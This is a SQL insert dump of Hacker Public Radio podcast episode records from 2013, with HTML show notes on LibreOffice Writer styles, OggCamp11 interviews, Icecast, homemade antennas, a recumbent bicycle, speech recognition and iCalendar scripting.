(1275,'2013-06-21','LibreOffice 05 Writer Style Properties 2',1294,'Style properties in LibreOffice Writer, part 2','<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,2324,1),
(1278,'2013-06-26','OggCamp11: Interview with Marie Assen from Flatter',1637,'Ken releases an interview from OggCamp11','<p>In today\'s show Ken finally gets around to releasing shows recorded at OggCamp11</p>\r\n\r\n<p>\r\n<i>OggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 at Farnham Maltings in Surrey in the UK.</i> \r\n</p>\r\n\r\n<h2>Flattr: The social way to get paid</h2>\r\n<p>\r\nIn today\'s show Ken chats with Marie and stories are told of life and trust.\r\n</p>\r\n<ul>\r\n<li><a href=\"https://blip.tv/episode/5487951\">https://blip.tv/episode/5487951</a>\r\n</li>\r\n<li><a href=\"https://lanyrd.com/profile/kinkymal/\">https://lanyrd.com/profile/kinkymal/</a>\r\n</li>\r\n<li><a href=\"https://twitter.com/kinkymal\">https://twitter.com/kinkymal</a>\r\n</li>\r\n<li><a href=\"https://maloki.se/\">https://maloki.se/</a>\r\n</li>\r\n<li><a href=\"https://flattr.com\">https://flattr.com</a>\r\n</li>\r\n</ul>',30,62,1,'CC-BY-SA','OggCamp11',0,2345,1),
(1277,'2013-06-25','Icecast 102',2219,'How to run Icecast - part 2','<p>\r\nKlaatu talks about how to feed Icecast with different sources like\r\nMPD and BUTT, and how to use the front-ends ncmpcpp and gmpc.\r\n</p>\r\n<p>\r\nHere are the simple and ugly shell scripts that Klaatu uses to manage\r\nhis Icecast streaming station. They aren\'t quite finished products yet\r\nbut they\'ll give you an idea of how one might realistically manage an\r\ninternet radio station from the shell:\r\n</p>\r\n<p>\r\n<a href=\"https://slackermedia.info/radio\">https://slackermedia.info/radio</a>\r\n</p>\r\n<p>\r\nKlaatu is indebted to Delwin, The Last Known God, and Ruji for their\r\nhelp on this episode.\r\n</p>\r\n	',78,0,0,'CC-BY-SA','Icecast,MPD,BUTT,ncmpcpp,gmpc',0,2401,1),
(1279,'2013-06-27','Russ Pavlicek on Xen Project',3448,'A talk at Texas Linux Fest about Xen','<p>\r\nThis show was recorded on June 1st at Texas Linux fest                                                                                                                                              \r\nI was lucky enough to hear Russ Pavlicek talk about his Xen project and open source.                                                                                                                \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://2013.texaslinuxfest.org\">https://2013.texaslinuxfest.org</a>                                                                                                                                                                      \r\n</li>\r\n<li><a href=\"https://wwww.xenproject.org\">https://wwww.xenproject.org</a> \r\n</li>\r\n</ul>',248,0,0,'CC-BY-SA','Russ Pavlicek, Texas linux fest, xen project',0,2518,1),
(1276,'2013-06-24','Two Hacker Public Radio hosts meet face-to-face for the first time',519,'A meeting between Jon Kulp and windigo (and the cat)','<p>I have known <a href=\"https://www.hackerpublicradio.org/correspondents.php?hostid=215\"\r\ntarget=\"_blank\">windigo</a> for more than 4 years as a <strong>virtual</strong>\r\nacquaintance, first on the <a href=\"https://sixgun.org/linuxoutlaws\" target=\"_blank\">Linux Outlaws</a>\r\nforums, then on identica, and finally on the Federated Statusnet\r\nnetwork. It was awesome when he and his girlfriend stopped by my\r\nhouse today to visit while on a massive road trip around the\r\nUnited States. We took advantage of the opportunity to record a\r\nbrief conversation for Hacker Public Radio. Here\'s a photo of\r\nwindigo, me, and <a href=\"https://micro.fragdev.com/dingle\"\r\ntarget=\"_blank\">Dingle the cat</a> between us.  </p>\r\n<!-- The original has gone, but this is a replacement\r\nwindigo, me, and <a href=\"https://sn.jonkulp.net/dingle\"\r\ntarget=\"_blank\">Dingle the cat</a> between us.  </p>\r\n-->\r\n\r\n<p>\r\n<!-- Jon\'s server failed but the image has been recovered\r\n<img src=\"https://sn.jonkulp.net/file/jk-20130325T194227-vxadvua.jpeg\" width=\"400\" alt=\"windigo, dingle, and Jon Kulp\" title=\"windigo, dingle, and Jon Kulp\">\r\n-->\r\n<img src=\"https://www.hackerpublicradio.org/eps/hpr1276-jk-20130325T194227-vxadvua.jpeg\" width=\"400\" alt=\"windigo, dingle, and Jon Kulp\" title=\"windigo, dingle, and Jon Kulp\">\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.hackerpublicradio.org/correspondents.php?hostid=215\">https://www.hackerpublicradio.org/correspondents.php?hostid=215</a></li>\r\n<li><a href=\"https://sixgun.org/linuxoutlaws\">https://sixgun.org/linuxoutlaws</a></li>\r\n<li><a href=\"https://sn.jonkulp.net/dingle\">https://sn.jonkulp.net/dingle</a></li>\r\n</ul>\r\n',238,0,1,'CC-BY-SA','\"Jon Kulp\",windigo,HPR',0,2326,1),
(1285,'2013-07-05','LibreOffice 06 Writer Creating a Paragraph Style LibreOffice',1079,'Creating a Paragraph Style in LibreOffice','<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>\r\n',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,2725,1),
(1295,'2013-07-19','LibreOffice 07 Writer Heading Styles',1280,'Heading styles in LibreOffice Writer','<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,2388,1),
(1305,'2013-08-02','LibreOffice 08 Writer Tab Styles',697,'Tab styles in LibreOffice Writer','<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,2313,1),
(1315,'2013-08-16','LibreOffice 09 Writer Working With Paragraph-Level Styles',1362,'Details of paragraph-level styles in LibreOffice Writer','<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1756,1),
(1325,'2013-08-30','LibreOffice 10 Writer Paragraph Styles in Templates',837,'Using paragraph styles in templates in LibreOffice Writer','<p>Mentioned in the program: <a href=\"https://extensions.libreoffice.org/\">https://extensions.libreoffice.org/</a></p>\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1750,1),
(1335,'2013-09-13','LibreOffice 11 Writer Character Styles',1182,'Character styles in LibreOffice Writer','<p>Mentioned in the program: <a href=\"https://www.csszengarden.com/\">https://www.csszengarden.com/</a></p>\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1771,1),
(1345,'2013-09-27','LibreOffice 12 Writer List Styles Introduced',1510,'Introducing list styles in LibreOffice Writer','<p>This episode of the LibreOffice series introduces the concept of List Styles in LibreOffice Writer. We discuss List Styles in general and tour the Properties window for List styles.</p>\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1734,1),
(1283,'2013-07-03','Ken gets to talk with Ambjorn about politics',1241,'Ken interviews Ambjorn at OggCamp11','<p>\r\nIn today\'s show Ken finally gets around to releasing shows recorded at OggCamp11\r\n</p>\r\n<p>\r\n<i>OggCamp 11 was a two-day unconference where technology enthusiasts came together to exchange knowledge on a wide range of topics from Linux and open source software to building home automation systems. It was held August 13 and 14 at Farnham Maltings in Surrey in the UK.</i> \r\n</p>\r\n\r\n<p>\r\nKen gets to talk with Ambjorn about politics.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<p>\r\nWinning and Losing Freedoms through Real Politics: <a href=\"https://blip.tv/episode/5496173\">https://blip.tv/episode/5496173</a>\r\n</p>',30,62,1,'CC-BY-SA','interview',0,2341,1),
(1288,'2013-07-10','Nido Media gets Ken to go camping at OHM2013',1854,'Nido Media and Ken Fallon at OHM2013','<p>\r\nSlowly but surely over the almost 15 years of his stay in the Netherlands, Ken has been Dutchified. He\'s got a bakfiets, he learned the language(ish), he has a pair of wooden shoes, he even eats mayonnaise with his fries. But one thing he has rebelled against is camping (ok also Steak Tartare aka \'American Fillet\' aka raw cow). That most Dutch of traditions, where the family head off to some deserted field, be it by the sea, in a forest, or on the polder, one thing is sure, it will be damp, wet, mosquito ridden, dark too late and bright too early, and wet - optionally cold and hot. In short hell. Of course that\'s his personal opinion. \r\n</p>\r\n<p>\r\nOf course, Nido Media sees it as a relaxing vacation away from the hustle and bustle of a busy life, fortified with happy memories where he and his family enjoyed the long summer days when it never rained and they were allowed to stay up late.\r\n</p>\r\n<p>\r\nSo how can these two dividing opinions be bridged ?\r\n</p>\r\n<p>\r\nIn short: Fiber to the Tent. <a href=\"https://ohm2013.org/site/\">https://ohm2013.org/site/</a>\r\n</p>\r\n',30,0,1,'CC-BY-SA','OHM2013',0,2462,1),
(1355,'2013-10-11','LibreOffice 13 Writer A Bullet Style Deconstructed',1091,'How to define a bullet list style in LibreOffice Writer','<p>In this episode of our LibreOffice series we take one of the Bullet List styles in LibreOffice Writer and go through the Properties window to learn how it is put together</p>\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1722,1),
(1365,'2013-10-25','LibreOffice 14 Writer A Numbered List Style Deconstructed',1332,'How to define a numbered list style in LibreOffice Writer','<p>In this episode of our LibreOffice series we take one of the Numbered List styles in LibreOffice Writer and go through the Properties window to learn how it is put together</p>\r\n\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer',0,1666,1),
(1375,'2013-11-08','LibreOffice 15 Writer Nested Lists Introduced',1243,'Introducing nested lists in LibreOffice Writer','<p>In this episode of our LibreOffice series we look at Nested lists, a tricky but powerful techinque to use.</p>\r\n\r\n\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer',0,1626,1),
(1385,'2013-11-22','LibreOffice 16 Writer Nested Lists Controlled via Styles',1500,'Controlling nested lists with styles in LibreOffice Writer','<p>In this episode of our LibreOffice series take the Nested lists and see how we can control them using Styles.</p>\r\n\r\n<h2>Some useful sites</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nMy web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.\r\n</p>\r\n<p>\r\nRemember to support free software!\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer',0,1639,1),
(1280,'2013-06-28','Homemade Antennas for OTA Hi-Def TV',899,'Antennas for over-the-air hi-def TV','<p>In this episode I discuss my experience building and using antennas for over-the-air hi-def TV.  </p>\r\n\r\n<ul>\r\n<li>One of many places showing how to make a <strong>bowtie</strong> style antenna: <a href=\"https://uhfhdtvantenna.blogspot.com/\" target=\"_blank\">https://uhfhdtvantenna.blogspot.com/</a></li>\r\n<li>Information about the Gray-Hovermann Antenna: <a href=\"https://www.digitalhome.ca/ota/superantenna/\" target=\"_blank\">https://www.digitalhome.ca/ota/superantenna/</a>. </li>\r\n<li>Information about the <strong>transmitters</strong> in your region at <a href=\"https://tvfool.com/\" target=\"_blank\">https://tvfool.com</a>. </li>\r\n<li>The HDHomeRun <strong>network tuner</strong> I use: <a href=\"https://www.silicondust.com/products/hdhomerun/atsc/\" target=\"_blank\">https://www.silicondust.com/products/hdhomerun/atsc/</a></li>\r\n<li>UHF/VHF matching transformer, or \"<a href=\"https://store.rcaaudiovideo.com/webapp/wcs/stores/servlet/ProductDisplay?catalogId=12051&amp;storeId=11601&amp;productId=10100520&amp;parent_category_rn=10011300&amp;gclid=CKbP4YuH_bcCFbTm7Aodj2QA4w\" target=\"_blank\">balun</a>\"</li>\r\n</ul>\r\n\r\n<p>Here are pictures of my two main antennas:</p>\r\n\r\n<h3>Bow-Tie style</h3>\r\n\r\n<p>\r\n<!-- <img width=\"200\" src=\"https://pics.jonkulp.net/_data/i/upload/2013/06/19/20130619071608-60d45be7-me.jpg\" title=\"Jon\'s bow-tie antenna\" alt=\"Jon\'s bow-tie antenna\"/> -->\r\n<img width=\"400\" src=\"https://hackerpublicradio.org/eps/hpr1280_antenna-bowtie.jpg\" title=\"Jon\'s bow-tie antenna\" alt=\"Jon\'s bow-tie antenna\"/>\r\n</p>\r\n\r\n<h3>Gray-Hovermann style</h3>\r\n\r\n<p>\r\n<!-- <img width=\"200\" src=\"https://pics.jonkulp.net/_data/i/upload/2013/06/19/20130619071608-145a9eca-me.jpg\" title=\"Jon\'s gray-hoverman antenna\" alt=\"Jon\'s gray-hoverman antenna\"/> -->\r\n<img width=\"400\" src=\"https://hackerpublicradio.org/eps/hpr1280_gray-hoverman-antenna.jpg\" title=\"Jon\'s gray-hoverman antenna\" alt=\"Jon\'s gray-hoverman antenna\"/>\r\n</p>\r\n',238,0,0,'CC-BY-SA','antenna,homemade,bowtie,Gray-Hovermann,balun',0,2625,1),
(1281,'2013-07-01','Samsung Ativ Premiere',554,'Knightwise attended Samsung\'s 2013 premiere event in London','<p>\r\nKnightwise reports in after attending Samsungs 2013 premiere event in Kings Court london last thursday, where the company presented its upcoming line of smartphone camera and computer products. He takes a look on what was new and noticable and how the Hulk is probably doing most of Samsungs innovations these days.\r\n</p>\r\n<p>\r\n<a href=\"https://www.knightwise.com\">https://www.knightwise.com</a>\r\n</p>',111,0,1,'CC-BY-SA','Samsung',0,2327,1),
(1282,'2013-07-02','My Homemade Recumbent Bicycle',2089,'Jon made his own recumbent bicycle and tells us about it','<p>\r\n<!-- \r\nOriginal file was lost then recovered. Old link kept for reference\r\n<img width=\"200\" src=\"https://pics.jonkulp.net/_data/i/upload/2012/04/24/20120424204135-ff6039c0-me.jpg\" title=\"Jon\'s Recumbent Bicycle\" alt=\"Jon\'s Recumbent Bicycle\"/>\r\n-->\r\n<img width=\"400\" src=\"https://hackerpublicradio.org/eps/hpr1282_recumbent.jpg\" title=\"Jon\'s Recumbent Bicycle\" alt=\"Jon\'s Recumbent Bicycle\"/>\r\n<br/>\r\n<em>The Green &#9842; Machine</em> <br />\r\n<br/>\r\nIn this episode I discuss my experience building a Recumbent Bicycle from donor bikes. A couple of things I forgot to mention while recording the podcast. First of all I had to use tandem bicycle cables for the brakes and the rear derailleur because they had to be very long. I also forgot to talk about the time when I was in a panic that the rear triangle was a bit out of alignment with the front, such that it would make the bike turn a little bit to the left by default. I called Andrew Carson and asked him if there was anything I could do to fix it and his solution was just awesome. What he told me to do was to put a spare hub in the rear triangle to keep the seat- and chain stays from collapsing together, lay the frame on the ground with the front end propped up on a step or something, and then just stand on it, jumping up and down slightly on it if necessary until I could feel it bend back a little bit. This actually worked! It straightened the frame right out. :) Finally, the total cost for this project was under $300. The most expensive single part of it by far was the powder coat, which cost $120. Here are links to resources mentioned in the podcast or simply of general interest.  </p>\r\n\r\n<ul>\r\n<li>Andrew Carson\'s <strong>Recycled Recumbents</strong>: <a href=\"https://sites.google.com/site/recycledrecumbents/home\" target=\"_blank\">https://sites.google.com/site/recycledrecumbents/home</a>  </li>\r\n<li>Pretty nice video animation of Recycled Recumbent Mach 2 design and some photos of someone else\'s frame <a href=\"https://youtu.be/YjouiKLz8dA\" target=\"_blank\">https://youtu.be/YjouiKLz8dA</a>  </li>\r\n<li>My Project Blog <a href=\"https://jonsrecumbant.blogspot.com/\" target=\"_blank\">https://jonsrecumbant.blogspot.com/</a>  </li>\r\n<li>My Project Gallery: (<b>Editor\'s Note 2016-01-13</b>: the original pictures were here https://pics.jonkulp.net/index.php?/category/2, but the server is no longer available. They have now been imported to the HPR server) <a href=\"https://hackerpublicradio.org/eps/hpr1282/images.html\" target=\"_blank\">https://hackerpublicradio.org/eps/hpr1282/images.html</a>  </li>\r\n<li>Video testing pedals and frame fit: <a href=\"https://youtu.be/fXnuWIclvIs\" target=\"_blank\">https://youtu.be/fXnuWIclvIs</a>  </li>\r\n<li>Video of my <strong>First Ride</strong>! <a href=\"https://youtu.be/SDF-y6bd11U\" target=\"_blank\">https://youtu.be/SDF-y6bd11U</a>  </li>\r\n<li>Custom die-cut vinyl decals: <a href=\"https://www.bikenames.com\" target=\"_blank\">https://www.bikenames.com/</a>  </li>\r\n<li>Wikipedia article on Recumbent Bikes <a href=\"https://en.wikipedia.org/wiki/Recumbent_bicycle\">https://en.wikipedia.org/wiki/Recumbent_bicycle</a></li>\r\n</ul>\r\n',238,115,0,'CC-BY-SA','DIY, Bicycles, Recycling',0,2386,1),
(1284,'2013-07-04','Blather Speech Recognition for Linux: Interview with Jezra',2450,'Jon Kulp interviews Jezra about speech recognition with Blather','<p><img width=\"640\" height=\"480\" src=\"https://hackerpublicradio.org/eps/hpr1284_recumbent.jpg\" title=\"Jon\'s Recumbent Bicycle\" alt=\"Jon\'s Recumbent Bicycle\">\r\n<br>\r\nA conversation with <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">Jezra</a>, sometime HPR host and the lead developer of the <strong>Blather</strong> speech recognition program for Linux. </p>\r\n\r\n<p>Links: </p>\r\n\r\n<ul>\r\n<li>Blather source code: <a href=\"https://gitorious.org/blather\" target=\"_blank\">https://gitorious.org/blather</a>  </li>\r\n<li>Jezra\'s site: <a href=\"https://www.jezra.net/\" target=\"_blank\">https://www.jezra.net/</a>  </li>\r\n<li>Sphinx page: <a href=\"https://cmusphinx.sourceforge.net/\" target=\"_blank\">https://cmusphinx.sourceforge.net/</a>  </li>\r\n<li>Sphinx knowledge base tool: <a href=\"https://www.speech.cs.cmu.edu/tools/lmtool-new.html\" target=\"_blank\">https://www.speech.cs.cmu.edu/tools/lmtool-new.html</a>  </li>\r\n<li>Video demo \"Intro to Blather: Speech Recognition for Linux\" <a href=\"https://youtu.be/gr1FZ2F7KYA\" target=\"_blank\">https://youtu.be/gr1FZ2F7KYA</a>  </li>\r\n<li>My blog intro to Blather: <a href=\"https://jonathankulp.org/archives/698\" target=\"_blank\">https://jonathankulp.org/archives/698</a></li>\r\n<!-- <li>Snapshot of my blather commands file: <a href=\"https://paste.jonkulp.net/index.php/view/8296098\" target=\"_blank\">https://paste.jonkulp.net/index.php/view/8296098</a></li> -->\r\n<li>Snapshot of my blather commands file: <a href=\"https://paste.jonkulp.net/sicegamupi.tex\" target=\"_blank\">https://paste.jonkulp.net/index.php/view/8296098</a></li>\r\n<li><del>My blather startup script: <a href=\"https://paste.jonkulp.net/index.php/view/14335421\" target=\"_blank\">https://paste.jonkulp.net/index.php/view/14335421</a></del></li>\r\n<li>Debian install script: <a href=\"https://paste.jonkulp.net/zosawagazu.bash\" target=\"_blank\">https://paste.jonkulp.net/zosawagazu.bash</a></li>\r\n</ul>\r\n\r\n<p><small><small><em>Editor\'s Note 2019-05-22</em>: some links in these notes were broken but have been updated with the kind help of Jon himself.</small></small></p>\r\n',238,78,0,'CC-BY-SA','accessibility, Speech Recognition, Speech Recognition In Linux, bash scripting, GNU/Linux (Operating System), sphinx, pocketsphinx',0,2623,1),
(1286,'2013-07-08','iCalendar Hacking',1127,'Creating iCalendar rules by hand and with a Perl script','<h2 id=\"editors-note-2020-01-02\">Editor’s Note 2020-01-02</h2>\r\n<p><small>The notes for this episode have been reformatted, particularly the long-form notes. This was done to make them more readable. Also, the original Git repository has been changed from <em>Gitorious</em> to <em>GitLab</em>.</small><br/>\r\n<small>In 2019 an iCalendar file was placed on the HPR server at <a href=\"https://hackerpublicradio.org/HPR_Community_News_schedule.ics\">https://hackerpublicradio.org/HPR_Community_News_schedule.ics</a> which you can use in your own calendar application. The file contains the recording times of 12 months of Community News shows and is updated monthly.</small></p>\r\n<h2 id=\"the-problem\">The Problem</h2>\r\n<p>Back in 2012 Ken Fallon tried to use Google Calendar to set up an event for the recording of the monthly <em>Community News</em> shows on HPR. He wanted to set these on the Saturday before the first Monday of the month. Surprisingly he didn’t find a way to do this and ended up deleting the attempt.</p>\r\n<p>I looked at the calendaring application I use: <em>Thunderbird</em> with the <em>Lightning</em> calendar plugin, to see if I could manage it. I also couldn’t find a way.</p>\r\n<p>This episode documents my journey to find a way to make the calendar entries we need.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Detailed notes are available for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr1286/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Detailed show notes: <a href=\"https://hackerpublicradio.org/eps/hpr1286/full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1286/full_shownotes.html</a></li>\r\n<li>My <em>make_meeting</em> script for download - <a href=\"https://gitlab.com/davmo/hprmisc/blob/master/make_meeting\" class=\"uri\">https://gitlab.com/davmo/hprmisc/blob/master/make_meeting</a></li>\r\n<li>Wikipedia iCalendar entry - <a href=\"https://en.wikipedia.org/wiki/ICalendar\" class=\"uri\">https://en.wikipedia.org/wiki/ICalendar</a></li>\r\n<li>iCalendar RFC - <a href=\"https://www.ietf.org/rfc/rfc5545.txt\" class=\"uri\">https://www.ietf.org/rfc/rfc5545.txt</a></li>\r\n<li>pcal PostScript calendar generator - <a href=\"https://pcal.sourceforge.net/\" class=\"uri\">https://pcal.sourceforge.net/</a></li>\r\n<li>Remind - <a href=\"https://www.roaringpenguin.com/products/remind\" class=\"uri\">https://www.roaringpenguin.com/products/remind</a>, <a href=\"https://www.linuxjournal.com/article/3529\" class=\"uri\">https://www.linuxjournal.com/article/3529</a></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','iCalendar,Perl,RFC 5545,pcal,remind',0,2448,1),
